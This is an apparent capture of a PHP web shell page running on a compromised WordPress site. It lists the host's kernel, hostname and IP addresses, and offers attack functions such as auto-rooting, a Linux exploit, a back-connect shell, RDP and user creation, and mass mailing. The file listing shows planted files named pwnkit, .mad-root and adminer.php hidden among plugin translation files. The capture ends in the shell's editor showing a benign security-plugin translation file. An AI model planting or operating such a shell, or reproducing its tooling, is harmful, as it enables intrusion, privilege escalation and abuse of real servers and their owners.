Linux webm002.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.121.20.2 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
5.4.45
urgencetin
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
urgencetin /
www /
wp-content /
languages /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
ads-txt-de_DE.l10n.php
3.88
KB
-rw-r--r--
ads-txt-de_DE.po
6.05
KB
-rw-r--r--
ads-txt-es_ES.l10n.php
3.92
KB
-rw-r--r--
ads-txt-es_ES.mo
4.67
KB
-rw-r--r--
ads-txt-es_ES.po
6.1
KB
-rw-r--r--
ads-txt-nl_NL.l10n.php
3.76
KB
-rw-r--r--
ads-txt-nl_NL.mo
4.51
KB
-rw-r--r--
ads-txt-nl_NL.po
5.93
KB
-rw-r--r--
akismet-fr_FR.mo
29.93
KB
-rw-r--r--
akismet-fr_FR.po
39.42
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-0f58...
1.37
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-0fb7...
333
B
-rw-r--r--
all-in-one-seo-pack-de_DE-24ee...
6.96
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-30ae...
786
B
-rw-r--r--
all-in-one-seo-pack-de_DE-3a4f...
1.07
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-3a67...
324
B
-rw-r--r--
all-in-one-seo-pack-de_DE-3dc1...
1.68
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-404b...
915
B
-rw-r--r--
all-in-one-seo-pack-de_DE-64dd...
501
B
-rw-r--r--
all-in-one-seo-pack-de_DE-6b27...
333
B
-rw-r--r--
all-in-one-seo-pack-de_DE-6b2e...
794
B
-rw-r--r--
all-in-one-seo-pack-de_DE-7cc9...
1.02
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-85dd...
337
B
-rw-r--r--
all-in-one-seo-pack-de_DE-88d7...
421
B
-rw-r--r--
all-in-one-seo-pack-de_DE-93cf...
4.29
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-ab89...
806
B
-rw-r--r--
all-in-one-seo-pack-de_DE-c1ea...
868
B
-rw-r--r--
all-in-one-seo-pack-de_DE-c422...
1.59
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-c462...
369
B
-rw-r--r--
all-in-one-seo-pack-de_DE-c78a...
800
B
-rw-r--r--
all-in-one-seo-pack-de_DE-ce90...
5.57
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-d3bd...
568
B
-rw-r--r--
all-in-one-seo-pack-de_DE-e069...
846
B
-rw-r--r--
all-in-one-seo-pack-de_DE-e246...
2.73
KB
-rw-r--r--
all-in-one-seo-pack-de_DE-efe6...
484
B
-rw-r--r--
all-in-one-seo-pack-de_DE-f31d...
424
B
-rw-r--r--
all-in-one-seo-pack-de_DE-f8c1...
988
B
-rw-r--r--
all-in-one-seo-pack-de_DE.mo
310.8
KB
-rw-r--r--
all-in-one-seo-pack-de_DE.po
517.17
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-0f58...
1.37
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-0fb7...
330
B
-rw-r--r--
all-in-one-seo-pack-es_ES-103a...
319
B
-rw-r--r--
all-in-one-seo-pack-es_ES-3dc1...
1.69
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-404b...
877
B
-rw-r--r--
all-in-one-seo-pack-es_ES-66e4...
585
B
-rw-r--r--
all-in-one-seo-pack-es_ES-6b27...
330
B
-rw-r--r--
all-in-one-seo-pack-es_ES-7cc9...
1.06
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-88d7...
418
B
-rw-r--r--
all-in-one-seo-pack-es_ES-93cf...
4.34
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-ab89...
818
B
-rw-r--r--
all-in-one-seo-pack-es_ES-c1ea...
920
B
-rw-r--r--
all-in-one-seo-pack-es_ES-c422...
1.7
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-c462...
378
B
-rw-r--r--
all-in-one-seo-pack-es_ES-c78a...
784
B
-rw-r--r--
all-in-one-seo-pack-es_ES-ce90...
5.52
KB
-rw-r--r--
all-in-one-seo-pack-es_ES-d3bd...
579
B
-rw-r--r--
all-in-one-seo-pack-es_ES-e069...
912
B
-rw-r--r--
all-in-one-seo-pack-es_ES-efe6...
501
B
-rw-r--r--
all-in-one-seo-pack-es_ES-f31d...
430
B
-rw-r--r--
all-in-one-seo-pack-es_ES-f8c1...
976
B
-rw-r--r--
all-in-one-seo-pack-es_ES.mo
318.12
KB
-rw-r--r--
all-in-one-seo-pack-es_ES.po
527.78
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-0f58...
1.45
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-0fb7...
332
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-24ee...
7.46
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-30ae...
768
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-3a4f...
1.1
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-3a67...
323
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-3dc1...
1.81
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-404b...
959
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-645e...
1.57
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-64dd...
533
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-6b27...
335
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-6b2e...
889
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-7cc9...
1.05
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-85dd...
334
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-88d7...
421
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-93cf...
4.71
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-ab89...
858
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-c1ea...
977
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-c422...
1.7
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-c462...
370
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-c78a...
791
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-ce90...
5.84
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-d075...
4.25
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-d3bd...
561
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-e069...
870
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-e246...
2.83
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR-efe6...
538
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-f31d...
437
B
-rw-r--r--
all-in-one-seo-pack-fr_FR-f8c1...
1012
B
-rw-r--r--
all-in-one-seo-pack-fr_FR.mo
318.81
KB
-rw-r--r--
all-in-one-seo-pack-fr_FR.po
525.12
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-05fb...
2.29
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-0913...
1022
B
-rw-r--r--
all-in-one-seo-pack-it_IT-0f58...
1.35
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-103a...
319
B
-rw-r--r--
all-in-one-seo-pack-it_IT-1aaf...
317
B
-rw-r--r--
all-in-one-seo-pack-it_IT-229c...
972
B
-rw-r--r--
all-in-one-seo-pack-it_IT-24ee...
6.6
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-27f4...
382
B
-rw-r--r--
all-in-one-seo-pack-it_IT-2cc2...
2.41
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-2da1...
1.93
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-2ddf...
967
B
-rw-r--r--
all-in-one-seo-pack-it_IT-30ae...
732
B
-rw-r--r--
all-in-one-seo-pack-it_IT-3374...
738
B
-rw-r--r--
all-in-one-seo-pack-it_IT-3a4f...
1.03
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-3a67...
324
B
-rw-r--r--
all-in-one-seo-pack-it_IT-3dc1...
1.65
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-3e91...
337
B
-rw-r--r--
all-in-one-seo-pack-it_IT-404b...
882
B
-rw-r--r--
all-in-one-seo-pack-it_IT-4685...
3.26
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-4908...
688
B
-rw-r--r--
all-in-one-seo-pack-it_IT-4dca...
600
B
-rw-r--r--
all-in-one-seo-pack-it_IT-5561...
5.15
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-5bd1...
339
B
-rw-r--r--
all-in-one-seo-pack-it_IT-5e7d...
2.93
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-6186...
2.18
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-645e...
1.51
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-66e4...
564
B
-rw-r--r--
all-in-one-seo-pack-it_IT-686b...
16.08
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-68db...
489
B
-rw-r--r--
all-in-one-seo-pack-it_IT-6b25...
837
B
-rw-r--r--
all-in-one-seo-pack-it_IT-6b27...
330
B
-rw-r--r--
all-in-one-seo-pack-it_IT-6b2e...
796
B
-rw-r--r--
all-in-one-seo-pack-it_IT-7559...
353
B
-rw-r--r--
all-in-one-seo-pack-it_IT-7911...
3.95
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-79df...
1.31
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-7c02...
571
B
-rw-r--r--
all-in-one-seo-pack-it_IT-7cc9...
1011
B
-rw-r--r--
all-in-one-seo-pack-it_IT-7d6b...
3.12
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-7e9f...
706
B
-rw-r--r--
all-in-one-seo-pack-it_IT-88d7...
423
B
-rw-r--r--
all-in-one-seo-pack-it_IT-8dc2...
2.33
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-93cf...
4.14
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-a5d7...
1.03
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-a607...
1.94
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-ab89...
822
B
-rw-r--r--
all-in-one-seo-pack-it_IT-b662...
2.68
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-b9e7...
3.57
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-b9f5...
2.08
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-bc0b...
9.98
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-c1ea...
836
B
-rw-r--r--
all-in-one-seo-pack-it_IT-c422...
1.61
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-c462...
368
B
-rw-r--r--
all-in-one-seo-pack-it_IT-c5a6...
364
B
-rw-r--r--
all-in-one-seo-pack-it_IT-c78a...
761
B
-rw-r--r--
all-in-one-seo-pack-it_IT-ce90...
5.3
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-d075...
3.81
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-d3bd...
553
B
-rw-r--r--
all-in-one-seo-pack-it_IT-d750...
5.31
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-df50...
3.47
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-e069...
872
B
-rw-r--r--
all-in-one-seo-pack-it_IT-e246...
2.62
KB
-rw-r--r--
all-in-one-seo-pack-it_IT-e49d...
749
B
-rw-r--r--
all-in-one-seo-pack-it_IT-efe6...
466
B
-rw-r--r--
all-in-one-seo-pack-it_IT-f0d3...
614
B
-rw-r--r--
all-in-one-seo-pack-it_IT-f31d...
426
B
-rw-r--r--
all-in-one-seo-pack-it_IT-f8c1...
931
B
-rw-r--r--
all-in-one-seo-pack-it_IT-f9fd...
461
B
-rw-r--r--
all-in-one-seo-pack-it_IT.mo
304.98
KB
-rw-r--r--
all-in-one-seo-pack-it_IT.po
511.33
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-0913...
1012
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-0f58...
1.28
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-0fb7...
332
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-103a...
322
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-30ae...
781
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-3a4f...
1015
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-3a67...
324
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-4685...
3.13
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-64dd...
502
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-66e4...
549
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-6b27...
336
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-6b2e...
767
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-7173...
988
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-79df...
1.19
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-85dd...
327
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-93cf...
4
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-bc0b...
9.75
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-c5a6...
371
B
-rw-r--r--
all-in-one-seo-pack-nl_NL-d075...
4.01
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-df50...
3.35
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL-f31d...
429
B
-rw-r--r--
all-in-one-seo-pack-nl_NL.mo
306.44
KB
-rw-r--r--
all-in-one-seo-pack-nl_NL.po
516.17
KB
-rw-r--r--
all-in-one-wp-migration-de_DE....
39.4
KB
-rw-r--r--
all-in-one-wp-migration-de_DE....
54.3
KB
-rw-r--r--
all-in-one-wp-migration-es_ES....
47.98
KB
-rw-r--r--
all-in-one-wp-migration-es_ES....
65.57
KB
-rw-r--r--
all-in-one-wp-migration-fr_FR....
43.09
KB
-rw-r--r--
all-in-one-wp-migration-fr_FR....
59.04
KB
-rw-r--r--
all-in-one-wp-migration-it_IT....
46.49
KB
-rw-r--r--
all-in-one-wp-migration-it_IT....
64.04
KB
-rw-r--r--
all-in-one-wp-migration-nl_NL....
46.17
KB
-rw-r--r--
all-in-one-wp-migration-nl_NL....
63.75
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
241.97
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
270.59
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
387.47
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
271.25
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
388.03
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
88.65
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
231.3
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
259.86
KB
-rw-r--r--
all-in-one-wp-security-and-fir...
376.77
KB
-rw-r--r--
better-wp-security-de_DE.mo
180.81
KB
-rw-r--r--
better-wp-security-de_DE.po
238.41
KB
-rw-r--r--
better-wp-security-es_ES.mo
177.2
KB
-rw-r--r--
better-wp-security-es_ES.po
234.91
KB
-rw-r--r--
better-wp-security-fr_FR.po
207.83
KB
-rw-r--r--
better-wp-security-nl_NL.mo
164.74
KB
-rw-r--r--
better-wp-security-nl_NL.po
219.11
KB
-rw-r--r--
contact-form-7-de_DE.mo
54.63
KB
-rw-r--r--
contact-form-7-de_DE.po
76
KB
-rw-r--r--
contact-form-7-es_ES.mo
55.15
KB
-rw-r--r--
contact-form-7-es_ES.po
76.53
KB
-rw-r--r--
contact-form-7-fr_FR.mo
54.52
KB
-rw-r--r--
contact-form-7-fr_FR.po
75.56
KB
-rw-r--r--
contact-form-7-it_IT.mo
52.69
KB
-rw-r--r--
contact-form-7-it_IT.po
73.72
KB
-rw-r--r--
contact-form-7-nl_NL.mo
52.97
KB
-rw-r--r--
contact-form-7-nl_NL.po
74.34
KB
-rw-r--r--
disable-gutenberg-de_DE.mo
8
KB
-rw-r--r--
disable-gutenberg-de_DE.po
10.48
KB
-rw-r--r--
disable-gutenberg-es_ES.mo
8.49
KB
-rw-r--r--
disable-gutenberg-es_ES.po
11.14
KB
-rw-r--r--
disable-gutenberg-fr_FR.mo
8.26
KB
-rw-r--r--
disable-gutenberg-fr_FR.po
10.75
KB
-rw-r--r--
disable-gutenberg-it_IT.l10n.p...
7.15
KB
-rw-r--r--
disable-gutenberg-it_IT.mo
8.63
KB
-rw-r--r--
disable-gutenberg-it_IT.po
11.28
KB
-rw-r--r--
duplicate-post-de_DE-f5c8084ac...
2.12
KB
-rw-r--r--
duplicate-post-de_DE.l10n.php
13.53
KB
-rw-r--r--
duplicate-post-de_DE.mo
15.77
KB
-rw-r--r--
duplicate-post-de_DE.po
22.08
KB
-rw-r--r--
duplicate-post-es_ES-f5c8084ac...
1.98
KB
-rw-r--r--
duplicate-post-es_ES.mo
15.19
KB
-rw-r--r--
duplicate-post-es_ES.po
21.52
KB
-rw-r--r--
duplicate-post-fr_FR-f5c8084ac...
2.05
KB
-rw-r--r--
duplicate-post-fr_FR.mo
15.69
KB
-rw-r--r--
duplicate-post-fr_FR.po
22.02
KB
-rw-r--r--
duplicate-post-it_IT-f5c8084ac...
1.89
KB
-rw-r--r--
duplicate-post-it_IT.mo
15.02
KB
-rw-r--r--
duplicate-post-it_IT.po
21.47
KB
-rw-r--r--
duplicate-post-nl_NL.mo
15.15
KB
-rw-r--r--
duplicate-post-nl_NL.po
21.47
KB
-rw-r--r--
google-analytics-dashboard-for...
191.77
KB
-rw-r--r--
google-analytics-dashboard-for...
241.42
KB
-rw-r--r--
google-analytics-dashboard-for...
289.72
KB
-rw-r--r--
google-analytics-dashboard-for...
401.66
KB
-rw-r--r--
google-analytics-dashboard-for...
231.56
KB
-rw-r--r--
google-analytics-dashboard-for...
312.04
KB
-rw-r--r--
google-analytics-dashboard-for...
190.79
KB
-rw-r--r--
google-analytics-dashboard-for...
240.41
KB
-rw-r--r--
google-analytics-dashboard-for...
335.67
KB
-rw-r--r--
google-analytics-dashboard-for...
463.22
KB
-rw-r--r--
google-captcha-es_ES.po
67.82
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
simple-smtp-es_ES-d915448bc342...
502
B
-rw-r--r--
simple-smtp-es_ES.l10n.php
6.4
KB
-rw-r--r--
simple-smtp-es_ES.mo
7.99
KB
-rw-r--r--
simple-smtp-es_ES.po
12.89
KB
-rw-r--r--
simple-smtp-fr_FR-d915448bc342...
499
B
-rw-r--r--
simple-smtp-fr_FR.l10n.php
6
KB
-rw-r--r--
simple-smtp-fr_FR.mo
7.57
KB
-rw-r--r--
simple-smtp-fr_FR.po
12.35
KB
-rw-r--r--
uk-cookie-consent-es_ES.mo
20.53
KB
-rw-r--r--
uk-cookie-consent-es_ES.po
30.28
KB
-rw-r--r--
uk-cookie-consent-fr_FR.mo
870
B
-rw-r--r--
uk-cookie-consent-fr_FR.po
1.52
KB
-rw-r--r--
uk-cookie-consent-it_IT.mo
951
B
-rw-r--r--
uk-cookie-consent-it_IT.po
1.6
KB
-rw-r--r--
uk-cookie-consent-nl_NL.mo
19.6
KB
-rw-r--r--
uk-cookie-consent-nl_NL.po
29.34
KB
-rw-r--r--
wordfence-es_ES-d6b1f6c06de204...
1.29
KB
-rw-r--r--
wordfence-es_ES-d7e57a6dcf7c78...
1.51
KB
-rw-r--r--
wordfence-es_ES.mo
446.32
KB
-rw-r--r--
wordfence-es_ES.po
632.72
KB
-rw-r--r--
wordfence-nl_NL-ab92052c964a3e...
2.73
KB
-rw-r--r--
wordfence-nl_NL-d6b1f6c06de204...
1.24
KB
-rw-r--r--
wordfence-nl_NL-d7e57a6dcf7c78...
1.41
KB
-rw-r--r--
wordfence-nl_NL-f17a1e829871b8...
510
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : better-wp-security-nl_NL.po
# Translation of Plugins - iThemes Security (formerly Better WP Security) - Stable (latest release) in Dutch # This file is distributed under the same license as the Plugins - iThemes Security (formerly Better WP Security) - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2017-08-28 16:57:05+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: nl\n" "Project-Id-Version: Plugins - iThemes Security (formerly Better WP Security) - Stable (latest release)\n" #: core/modules/ssl/validator.php:9 msgid "Require SSL" msgstr "Vereis SSL" #: core/modules/ssl/settings-page.php:88 msgid "<strong>Advanced</strong> - Choose different settings for front-end and dashboard page requests." msgstr "<strong>Geavanceerd</strong> - Kies verschillende instellingen voor font-end en dashboard pagina-verzoeken." #: core/modules/ssl/settings-page.php:87 msgid "<strong>Enabled</strong> - Redirect all http page requests to https." msgstr "<strong>Geactiveerd</strong> - Stuur alle http pagina-verzoeken door naar https." #: core/modules/ssl/settings-page.php:86 msgid "<strong>Disabled</strong> - Use the site's default handling of page requests." msgstr "<strong>Gedeactiveerd</strong> - Gebruik de site's standaard verwerking van pagina-verzoeken." #: core/modules/ssl/settings-page.php:82 msgid "Redirect All HTTP Page Requests to HTTPS" msgstr "Stuur alle HTTP pagina-verzoeken door naar HTTPS" #: core/modules/ssl/settings-page.php:73 msgid "Your site does not appear to support SSL. Only enable SSL if you know that the site properly supports SSL since enabling it on a site that does not properly support it will block all access to the site." msgstr "Je site lijkt geen SSL te ondersteunen. Activeer SSL alleen als je weet dat de site SSL correct ondersteunt, omdat dit activeren op een site die dit niet correct ondersteunt alle toegang tot de site zal blokkeren." #: core/modules/ssl/settings-page.php:71 msgid "Your site might support SSL. If the site is configured with a valid certificate that is not self-signed, it is highly recommended that you select the \"Enabled\" setting below. This redirects all http traffic to your site to the https address, thus requiring everyone to access the site via SSL. In other words, it will force everyone to use a secure connection to the site." msgstr "Je site ondersteunt mogelijk SSL. Als de site is geconfigureerd met een geldig certificaat dat niet self-signed in, is het sterk aanbevolen dat je de \"Geactiveerd\" instelling hieronder selecteert. Dit stuurt alle http-verkeer op je site door naar het https-adres, hiermee verplichten dat iedereen de site bezoekt via SSL. In andere woorden; het forceert dat iedereen een beveiligde verbinding met de site gebruikt." #: core/modules/ssl/settings-page.php:69 msgid "Your site appears to support SSL. It is highly recommended that you select the \"Enabled\" setting below. This redirects all http traffic to your site to the https address, thus requiring everyone to access the site via SSL. In other words, it will force everyone to use a secure connection to the site." msgstr "Het lijkt erop dat je site SSL ondersteunt. Het is sterk aanbevolen dat je de \"Geactiveerd\" instelling hieronder selecteert. Dit stuurt alle http-verkeer op je site door naar het https-adres, hiermee verplichten dat iedereen de site bezoekt via SSL. In andere woorden; het forceert dat iedereen een beveiligde verbinding met de site gebruikt." #: core/modules/ssl/settings-page.php:46 msgid "Disabled" msgstr "Gedeactiveerd" #: core/modules/ssl/class-itsec-ssl.php:190 msgid "Redirect All HTTP Page Requests to HTTPS - Security > Settings > Secure Socket Layers (SSL) > SSL for Dashboard" msgstr "Stuur alle HTTP-pagina-verzoeken door naar HTTPS - Beveiliging > Instellingen > Secure Socket Layers (SSL) > SSL voor dashboard" #: core/modules/malware/settings-page.php:42 msgid "Malware scanning is temporarily unavailable, please try again later." msgstr "Malware scannen is tijdelijk onbeschikbaar, probeer het later nogmaals." #: core/modules/file-writing/settings-page.php:25 #: core/modules/file-writing/settings-page.php:54 msgid "Copy to Clipboard" msgstr "Kopieer naar klembord." #: core/admin-pages/page-settings.php:118 msgid "Please press Ctrl/Cmd+C to copy." msgstr "Gebruik Ctrl/Cmd + C om te kopiëren." #: core/admin-pages/page-settings.php:117 msgid "Copied!" msgstr "Gekopieerd!" #: core/modules/strong-passwords/class-itsec-strong-passwords.php:183 msgid "The password has not been updated." msgstr "Het wachtwoord is niet bijgewerkt." #: core/modules/strong-passwords/class-itsec-strong-passwords.php:181 msgid "Your profile has not been updated." msgstr "Je profiel is niet bijgewerkt." #: core/modules/strong-passwords/class-itsec-strong-passwords.php:179 msgid "The user changes have not been saved." msgstr "De gebruikerswijzigingen zijn niet opgeslagen." #: core/modules/strong-passwords/class-itsec-strong-passwords.php:177 msgid "The user has not been created." msgstr "De gebruiker is niet aangemaakt." #: core/modules/strong-passwords/class-itsec-strong-passwords.php:32 msgid "Due to site rules, a strong password is required for your account. Please choose a new password that rates as <strong>Strong</strong> on the meter." msgstr "In verband met site regels, is een sterk wachwoord verplicht voor je account. Kies een nieuw wachtwoord dat als <strong>sterk</strong> wordt aangeduid op de meter." #: core/modules/security-check/scanner.php:160 msgid "The updates_optin value is missing." msgstr "De updates_optin waarde ontbreekt." #: core/modules/security-check/scanner.php:155 msgid "The email value is missing." msgstr "De e-mail waarde ontbreekt." #: core/modules/global/active.php:64 msgid "The ITSEC_DISABLE_MODULES define is set. All iThemes Security protections are disabled. Please make the necessary settings changes and remove the define as quickly as possible." msgstr "De ITSEC_DISABLE_MODULES definitie is ingesteld. Alle iThemes Security beveilig is gedeactiveerd. Maak de nodige wijzigingen in instellingen en verwijder de definitie zo spoedig mogelijk." #: core/modules/database-prefix/settings-page.php:21 msgid "<span>WARNING: </span><a href=\"%1$s\" data-module-link=\"backup\">Backup your database</a> before using this tool." msgstr "<span>WAARSCHUWING: </span><a href=\"%1$s\" data-module-link=\"backup\">Maak een back-up van je database</a> voordat je deze tool gebruikt." #: core/lockout.php:418 msgid "Your lockout settings can be configured in <a href=\"%s\" data-module-link=\"global\">Global Settings</a>." msgstr "Je uitsluitingsinstellingen kunnen worden geconfigureerd in de <a href=\"%s\" data-module-link=\"global\">Globale instellingen</a>." #: core/lib/includes/function.login-header.php:81 msgid "Powered by WordPress" msgstr "Aangedreven door WordPress" #: core/lib/includes/function.login-header.php:80 msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #: core/lib/class-itsec-lib-password-requirements.php:453 msgid "Invalid User" msgstr "Ongeldige gebruiker" #: core/lib/class-itsec-lib-password-requirements.php:429 msgid "A password change is required for your account." msgstr "Een wachtwoord-wijziging is verplicht voor je acocunt." #: core/lib/class-itsec-lib-password-requirements.php:395 msgid "← Back to %s" msgstr "← Terug naar %s" #: core/lib/class-itsec-lib-password-requirements.php:394 msgid "Are you lost?" msgstr "Ben je verdwaald?" #: core/lib/class-itsec-lib-password-requirements.php:378 msgid "Update Password" msgstr "Wachtwoord bijwerken" #: core/lib/class-itsec-lib-password-requirements.php:369 msgid "Confirm new password" msgstr "Bevestig nieuw wachtwoord" #: core/lib/class-itsec-lib-password-requirements.php:365 msgid "Strength indicator" msgstr "Sterkte-indicator" #: core/lib/class-itsec-lib-password-requirements.php:356 msgid "New Password" msgstr "Nieuw wachtwoord" #: core/lib/class-itsec-lib-password-requirements.php:149 msgid "Sorry, the update password request has expired. Please log in again." msgstr "Sorry, het wachtwoord-update verzoek is verlopen. Log opnieuw in." #: core/admin-pages/page-settings.php:481 msgid "Search" msgstr "Zoeken" #: core/admin-pages/page-settings.php:477 msgid "Search Modules" msgstr "Zoek modules" #: core/lib/class-itsec-lib-config-file.php:413 msgid "Added by W3 Total Cache" msgstr "Toegevoegd door W3 Total Cache" #: core/modules/security-check/scanner.php:61 msgid "Enabled the Vulnerable Site Protection setting in Two-Factor Authentication." msgstr "De Kwetsbare Site Beveiliging instelling in Twee-Factor Authenticatie is ingeschakeld." #: core/modules/security-check/scanner.php:60 msgid "Enabled the Vulnerable User Protection setting in Two-Factor Authentication." msgstr "De Kwetsbare Gebruiker Beveiliging instelling in Twee-Factor Authenticatie is ingeschakeld." #: core/modules/security-check/scanner.php:59 msgid "Changed the User Type Protection setting in Two-Factor Authentication to \"Privileged Users\"." msgstr "De Gebruikers Type Beveiliging instelling in Twee-Factor Authenticatie is gewijzigd naar \"Bevoorrechte gebruikers\"." #: core/modules/security-check/scanner.php:58 msgid "Changed the Authentication Methods Available to Users setting in Two-Factor Authentication to \"All Methods\"." msgstr "De Authenticatie Methodes Beschikbaar voor Gebruikers instelling in Twee-Factor Authenticatie is gewijzigd naar \"Alle Methodes\"." #: core/modules/ipcheck/class-itsec-ipcheck.php:215 msgid "IP Flagged by Network Brute Force Protection" msgstr "IP-adres is aangemerkt door Netwerk Brute Force Beveiliging" #: core/modules/backup/class-itsec-backup.php:136 msgid "Unable to write the backup file. This may be due to a permissions or disk space issue." msgstr "Kan het back-upbestand niet schrijven. Dit is mogelijk veroorzaakt door een probleem met premissies of schijfruimte." #: core/modules/backup/class-itsec-backup.php:130 msgid "Unable to create the backup directory due to an unknown error." msgstr "Kan de back-up map niet maken door een onbekende fout." #: core/modules/wordpress-tweaks/settings-page.php:107 msgid "<strong>Default Access</strong> - Access to REST API data is left as default. Information including published posts, user details, and media library entries is available for public access." msgstr "<strong>Standaard Toegang</strong> - Toegang tot REST API data blijft als standaard. Informatie waaronder gepubliceerde berichten, gebruikersdetails en media bibliotheek items is beschikbaar voor openbare toegang." #: core/modules/wordpress-tweaks/settings-page.php:106 msgid "<strong>Restricted Access</strong> - Restrict access to most REST API data. This means that most requests will require a logged in user or a user with specific privileges, blocking public requests for potentially-private data. We recommend selecting this option." msgstr "<strong>Beperkte Toegang</strong> - Beperkte toegang tot de meeste REST API data. Dit betekent dat de meeste verzoeken een ingelogde gebruiker of gebruiker met bepaalde rechten vereist, daarmee openbare verzoeken tot mogelijk private data blokkerend. We raden deze optie aan." #: 